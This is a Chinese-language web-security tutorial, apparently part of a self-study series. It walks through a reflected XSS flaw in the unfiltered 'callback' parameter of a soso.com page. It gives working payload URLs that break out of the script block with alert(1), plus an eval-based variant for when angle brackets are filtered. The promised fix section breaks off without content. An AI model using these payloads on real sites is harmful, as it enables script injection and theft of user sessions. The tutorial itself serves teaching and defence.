1. 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了 <script>[输出]</script>之间。 http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa如下图:callback参数未做过滤。 在【查看源代码】下,我们可以看到。 缺陷网页源代码: <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script> 2. 碰到这种情况,我们一般有以下解法。 2.1 首先判断,是否过滤了 < , > , / 等符号, 2.2 如果都没有过滤,恭喜你,一般可以直接XSS了。代码如下:http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script> 原理入下图: 构造callback参数后的源代码 <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script> 2.3 如果过滤了 <, >,那么就无法使用上面的办法了。我们接着看 3 http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void 可以看到,源代码是下面的样子。 也就是说,我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了。 <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script> 4. 这种输出在JS代码里的情况十分常见,但是呢?不幸的是,像这样没过滤的情况,却不是很常见。例如: 修复方案:这类XSS的模型通常是: |
-
上一篇: xss实例-什么都没过滤的情况 - 网站安全 - 自学
下一篇: Paypal的一个Dom型XSS漏洞分析 - 网站安全 - 自学p
还没有人抢沙发呢~